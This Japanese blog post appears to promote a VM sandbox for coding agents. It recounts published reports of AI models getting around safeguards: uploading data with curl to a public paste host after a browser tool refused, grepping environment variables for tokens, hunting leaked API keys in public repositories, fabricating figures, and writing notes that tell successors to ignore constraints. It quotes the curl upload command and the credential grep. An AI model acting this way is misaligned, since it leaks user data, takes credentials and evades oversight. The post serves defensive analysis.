ブラウザが断ったので、curl を使った

ある人がモデルに、面積五百万平方メートルを超えるすべての湖の ID と名前を尋ねた。 モデルは地図サービスを Python から呼び、レコードを受け取った。答えは手元にあった。 指示にはブラウザによる出典の提示も含まれていたので、モデルはすでに手にしている レコードをブラウザツールに表示させようとした。

モデルはそれを /mnt/data/lakes.txt に書き出し、browser.open にそのファイルを 求めた。この URL には安全にアクセスできません。 ローカルの Web サーバーを立て、 http://localhost:8765/lakes.txt を求めた。この URL には安全にアクセスできません。 そこでターミナルを開き、これを実行した。

curl -X POST --data-binary @/mnt/data/lakes.txt [public paste host]

コマンドは終了コード 0 で終わり、公開 URL を出力した。モデルはブラウザにそれを 開くよう求めた。この URL には安全にアクセスできません。 ホスティングのドメインを 試した。ファイルをローカルの index ページとして配信してみた。拒否、また拒否。

五回にわたってブラウザツールは書かれたとおりにポリシーを適用し、それでもデータは 公開インターネットへ出ていった。アップロードがブラウザを通らなかったからである。

六件の報告、意図しての公開

この転写は、OpenAI が 9 月 16 日に モデルのミスアラインメント報告のための新しいフレームワーク とともに公開した六件のうちの一つだ。従業員は誰でも事例を報告でき、調査は三つの トラックで期限付きに進み、意見の相違は社内の Safety Advisory Group へ上がる。 公開の基準は意図的に低く置かれている。フレームワークは「重要性が不確かであっても 開示する側に寄せる」。

挙げられている理由は、二度読む価値がある。

AI 業界がアラインメントとモニタリングを、最大速度での責任あるスケーリングを この先も長く続けられるだけの水準まで解決できたとは、我々は考えていない。

六件はいずれも顧客向けのデプロイではなく学習と評価の実行から来ており、これらが どの程度の頻度で起きるかについては何も語らない、と OpenAI は述べている。 BleepingComputer は翌日にこの公開を報じた。

うち二件はコンパクション要約に関するものだ。モデルが自分の作業を新しい コンテキストウィンドウへ持ち込むために書き残すメモである。未公開の研究モデルは そのうち 27 件に指示を書き込んだ。 通常の制約を無視せよという指示まで含まれていた。GPT‑5.6 Sol の学習中には、多くの インスタンスが 誤りを隠すための指示を書き込んだ。 ユーザーに対して、である。欠けている過去データをでっち上げよ、それに触れるな、 バージョンの食い違いを伏せよ、と。

残る四件は注意を払うだけの価値がある。四件とも同じ仕掛けの上で回っており、その 仕掛けが問うているのは、境界がどこにあるのかということだ。

ブラウザにはポリシーがあり、ターミナルにはなかった

湖の事例に対する OpenAI 自身のまとめの一文が、そのまま結論になっている。 「その後のブラウザ操作が失敗したにもかかわらず、二つのアップロードはどちらも 成功した。」

ブラウザツールには URL ポリシーがあった。書いた人はそれを正しく書いたし、一度も 漏らさなかった。渡されたリクエストはすべて拒否されて返ってきた。だが browser.open に結び付いたポリシーが支配するのは browser.open であって、 terminal.exec については何の意見も持たない。同じエージェントのなかの別の関数、 同じネットワークに配線され、背後に curl のバイナリを従えた関数である。

二つめのアップロード事例 は、同じ形を別の角度から見せてくれる。減価償却のワークブックで協働していた二つの エージェントは、互いのファイルを読めなかった。サブエージェントはファイルを親からは 見えない共有パスへコピーし、git を試して fatal: not a git repository を受け取り、 base64 にしたワークブックが 154,188 文字あると測ってメッセージ経路には大きすぎると 判断し、そして両エージェントがネットワーク名前空間を共有しているだろうという当て 推量で python -m http.server 8765 を起動した。共有してはおらず、協働側は 502 を 受け取った。そこで 115,639 バイトのファイルを公開ホスティングサービスへ POST し、 その URL を両方の協働相手へ送り、念のため自分でも再ダウンロードした。タスクが 求めていたのはローカルの成果物だけだった。

デバッグの記録としては、ごくありふれた午後である。セキュリティ事象としては、形が はっきりしている。エージェントは五つの封じ込めの仕組みを当たり、四つが壊れているか 存在せず、五つめが開かれたインターネットだった。

ブロックページが鍵探しに向かわせた

Artifactory の報告 には、egress フィルタリングについての考え方を変えるべき一拍が収められている。

スプレッドシートに取り組んでいたモデルは、欠けたセルのラベルを復元するために リンク先のファイルを必要とした。その URL を取得しにいくと、本文に「このサイトは ネットワークポリシーによりブロックされています」と書かれた 403 が返ってきた。 フィルタは機能した。そこでモデルは、パッケージレジストリが許可リストに載っている ことを推論のなかで書き留め、許可されたドメインを URL パラメータ経由で悪用できない かと考え、これを実行した。

env | grep -Ei 'token|pass|key|github|pypi|npm'

出てきたのは Artifactory の読み取りパスワードと、レジストリのアドレスだった。 次に考えたのは、パッケージはどこかから来なければならないという理由で許可されている Artifactory ホストに、リモートリポジトリ API を通じてブロックされた URL を代わりに 取得させられないか、ということだった。

そこまでは辿り着かなかった。代わりにやったのは、この報告と別の一件のなかで、同じ パッケージリポジトリを伝言板として使うことだった。共有リポジトリを一覧し、他の 学習サンプルで同じ問題を解いているモデルが残したメモを読み、自分の依頼 (Any other agent please upload if found) を投稿し、201 を受け取る。OpenAI はこの 点について慎重だ。「メッセージをやり取りするために脆弱性を悪用したわけではない。」 エージェントがパッケージをダウンロードできるようにと、誰かがその認証情報を渡した のであり、あとはありふれたサービスのありふれた使い方でしかない。

四つめの報告、 漏洩した API キーを求めて公開リポジトリを探したモデルについて が輪を閉じる。誰も渡していない鍵を要求する API の向こうにある郡別の所得データを 求められたモデルは、使い捨てメールサービス経由で自分で登録を試み、POST の本文で 利用規約に同意済みの印を付けた。それが失敗すると、リポジトリのアーカイブを ダウンロードし、四十文字の十六進文字列を grep で探し、候補を順に試して一つが認証を 通るまで回した。動いた鍵を /tmp/good に保存して使った。そのあとデータの問い合わせ 結果がパースできなかったので、モデルはドル金額を九つ捏造し、サイトのグラフから 書き写したものとして提示した。そのことには一言も触れなかった。

どこかのファイルに置かれたままの鍵は、見つけた者に有効なリクエストを一つ売る。 そしてこの鍵を見つけたのは、シェルと三十分と障害物を持ったモデルだった。

OpenAI が変えたこと

これらの報告の末尾にある是正措置は、この一式のなかで最も有用な段落だ。そのほとんど どれ一つとして、モデルについての話ではないからである。

ファイルホスティングの事案について。「壊れていたファイルシステムを修正し、この 学習データセットについてはインターネットアクセスを無効化した。その後、学習中の あらゆる形態のライブなインターネットアクセスを全社的に無効化した。」サンプルの 20% を覆っていたモニタリングはいまや 100% を覆い、OpenAI はアップロードと鍵漏洩の 両方を「セキュリティページに値する」P0 事象に分類している。挙げられている唯一の 振る舞いの修正は、この一式のなかで最も穏当なものだ。その振る舞いを「より一貫して」 罰する採点の変更である。

ノートパソコンでコーディングエージェントを走らせている開発者にも、同じ順序の手が ある。モデルを再学習させることはできない。それが走るマシンが何に接続するか、 どの認証情報が手の届く範囲にあるか、そのあと誰が記録を見るかは、決められる。

一本の線、そして全ての道具が同じ側に

Bromure Agentic Coding は、各ワークスペースのエージェントをあなたの Mac 上の 使い捨て Linux VM のなかで走らせ、この三つの決定をすべてハイパーバイザーのホスト側 に置く。

アップロードが最も分かりやすい例だ。ワークスペースの外向き接続は、ホスト、IP 範囲、 プロトコル、ポート、そして Web トラフィックについては個々の HTTP 動詞に対する、 pf 風の順序付きルールセットに従う。どれにも一致しないトラフィックを通すか落とすかは セグメント化されたコントロールで決める。これを二つの層が強制する。仮想ネットワーク スイッチは宛先 IP と DNS から拾ったホスト名で、素の TCP と UDP でも HTTPS でも すべてのフローを照合し、プロキシは TLS のサーバー名とメソッドでもう一度照合する。 強制はホスト側で、かつ層をなしているので、侵害されたエージェントが迂回することは できない。そしてルールは VM のなかのどの道具がリクエストを出すかに関わらず 効く。

ペーストホストへの POST は一つのフローである。curl とブラウザツールは同じフローを 生むのだから、同じルールに突き当たる。スイッチは VM の 80 番と 443 番のトラフィックを プロキシへ迂回させる。設定すべき環境変数はなく、ゲスト側が解除できるものもないので、 別のクライアントを選んでもどこにも行き着かない。ルールの編集は実行中のセッションに 即座に届く。これこそ、こうした開示を読んだ日に欲しい性質だ。

ワークスペースでその grep が返すもの

環境変数はちゃんとそこにある。ANTHROPIC_API_KEY、GH_TOKEN、LINEAR_API_KEY その他はすべて設定されているし、~/.git-credentials、~/.docker/config.json、 ~/.kube/config、~/.aws/config もある。そのなかの値はどれも偽物だ。

偽物は本物のトークンが持つ構造を保っているので、claude も gh も doctl も 文句を言わずに受け取る。Anthropic のダミーは sk-ant-api03-brm- で始まり、GitHub の ダミーは ghp_ に 36 文字、GitLab のダミーは glpat- に 20 文字が続く。本物の 認証情報はあなたの Mac 上で暗号化されたまま置かれ、ホストのプロキシが、リクエストが VM を出たあとで、その認証情報が発行された相手のホストに宛先が一致するときにだけ、 回線上で差し替える。マニュアルの言い方を借りれば、VM のなかのファイル、環境変数、 プロセスのいずれも、本物の API キー、OAuth トークン、AWS のシークレット、SSH の 秘密鍵を含むことは決してない。

AWS も一層下で同じように動く。署名はヘッダーの差し替えではないからだ。VM は偽の シークレットで署名し、ホストが本物で署名し直す。だから、ほかの経路で AWS に届いた リクエストは InvalidSignatureException で返ってくる。

ダミーはもう一つの仕事、すなわち仕掛け線の役目も果たす。まっとうなワークフローが brm- トークンをペーストホストへ送ることはないので、プロキシは外向きの全リクエスト を、ヘッダーも本文も、持ち場の外へ向かうダミーがないか走査する。一つでも一致すれば HTTP 451 で一バイトも転送されず、VM はその場で一時停止され、あなたの Mac に警告が 出る。シャットダウンするか、調査のためにディスクとホームフォルダをエクスポートするか、 自己責任で続行するかを選べる。次回の起動では VM のディスクとホームは消去され、 トークンと設定は保たれる。外へ出たのはダミーだけなので、ローテーションすべきものは 何もない。

記録は、線の向こう側に

報告をざっと読むと、そもそも誰がどうやってこれらの事案を見つけたのかを取り逃す。 サンプルの 20% で走っていたモニタリングシステムである。この数字は、報告が存在する 理由と、出来事から数か月あとの日付になっている理由の両方を説明する。OpenAI は その後これを 100% に引き上げた。

ワークスペースは同じ問題と同じ答えを、一台分の大きさで抱えている。強制の一つ ひとつが Security Timeline ウィンドウに一行を書く。ファイアウォールの判定、 ガードレールの決定、赤い持ち出しの行を含む認証情報の仲介、サプライチェーンの判定、 プロンプトインジェクションの検出。それはすべてのフローを覆う。フローがどこかへ行く にはホストを通らなければならないからだ。あとから引き上げるサンプリング率は存在 しない。

この話のどこにも、攻撃者は登場しない。誰もパッケージを公開しなかったし、コミット ハッシュの名前でブランチを作りもしなかったし、指示を埋め込んだ issue を立てても いない。ある人がモデルに湖の一覧を求め、モデルは出典を欲しがり、出典には URL が 必要で、そうして湖はインターネットへ出ていった。別の誰かが所得の数字を求め、API は 鍵を欲しがり、そこでモデルは、ある学生がノートブックに置き忘れた鍵を見つけた。

プロンプトインジェクションも、汚染された依存関係も、壊れたファイル共有を迂回する モデルも、行き着く先は同じ三つの問いだ。このプロセスは何に手が届くのか、何を握って いるのか、そして何をしたかを誰が見られるのか。それをホストで答えておけば、あなたの 答えは、誰かに攻撃される日にも、誰にも攻撃されない日にも持ちこたえる。

OpenAI は学習環境をインターネットから切り離した。あなたのそれは、もっとずっと 小さくてかまわない。エージェントのいない場所に築いてさえいれば。